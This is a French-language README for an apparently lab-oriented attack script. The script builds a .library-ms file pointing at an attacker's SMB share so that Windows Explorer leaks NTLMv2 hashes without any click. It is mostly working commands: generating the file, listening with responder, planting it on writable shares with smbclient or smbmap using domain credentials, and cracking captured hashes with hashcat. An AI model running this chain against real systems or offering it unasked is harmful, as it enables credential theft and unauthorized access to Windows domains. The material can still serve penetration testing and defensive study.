❀ Ce qu'il fait

Demande votre IP d'attaque et un nom de fichier, écrit un .library-ms pointant vers \\<IP>\share, et l'empaquette dans exploit.tar. Lorsqu'Explorer parcourt le dossier dans lequel le .library-ms isolé atterrit, il résout automatiquement ce chemin UNC et divulgue le NTLMv2 du compte à votre listener — aucun clic nécessaire.

⚠️ C'est le .library-ms isolé qui se déclenche — pas le .tar. Un .tar posé sur le partage est inerte ; Explorer ne parse pas les tarballs. Vous devez placer le .library-ms lui-même sur le partage en tant que fichier isolé. La façon de procéder dépend de l'outil (ci-dessous).

❀ L'exécuter

uv run coerce_library.py      # or: python3 coerce_library.py

Attack IP [10.10.14.197]:
File name [documents]:
[+] documents.library-ms  ->  \\10.10.14.197\share
[+] packed into exploit.tar

❀ Ensuite

1) Écouter

sudo responder -I tun0

2) Placer le .library-ms sur un partage accessible en écriture

smbclient — téléversez le .tar, extrayez-le côté serveur avec tar x (dépose le .library-ms isolé à côté) :

smbclient //<TARGET>/<SHARE> -U '<DOMAIN>/<USER>%<PASS>' -c 'put exploit.tar; tar x exploit.tar'

smbmap — n'a pas d'étape d'extraction, donc téléversez le .library-ms isolé directement (téléverser le .tar ici ne fait rien — il ne peut pas le décompresser) :

smbmap -H <TARGET> -d <DOMAIN> -u <USER> -p <PASS> --upload exploit.library-ms 'IT/exploit.library-ms'

Confirmez qu'il a atterri isolé sur le partage :

smbclient //<TARGET>/<SHARE> -U '<DOMAIN>/<USER>%<PASS>' -c 'ls' | grep library

3) Cracker le NTLMv2 capturé

hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt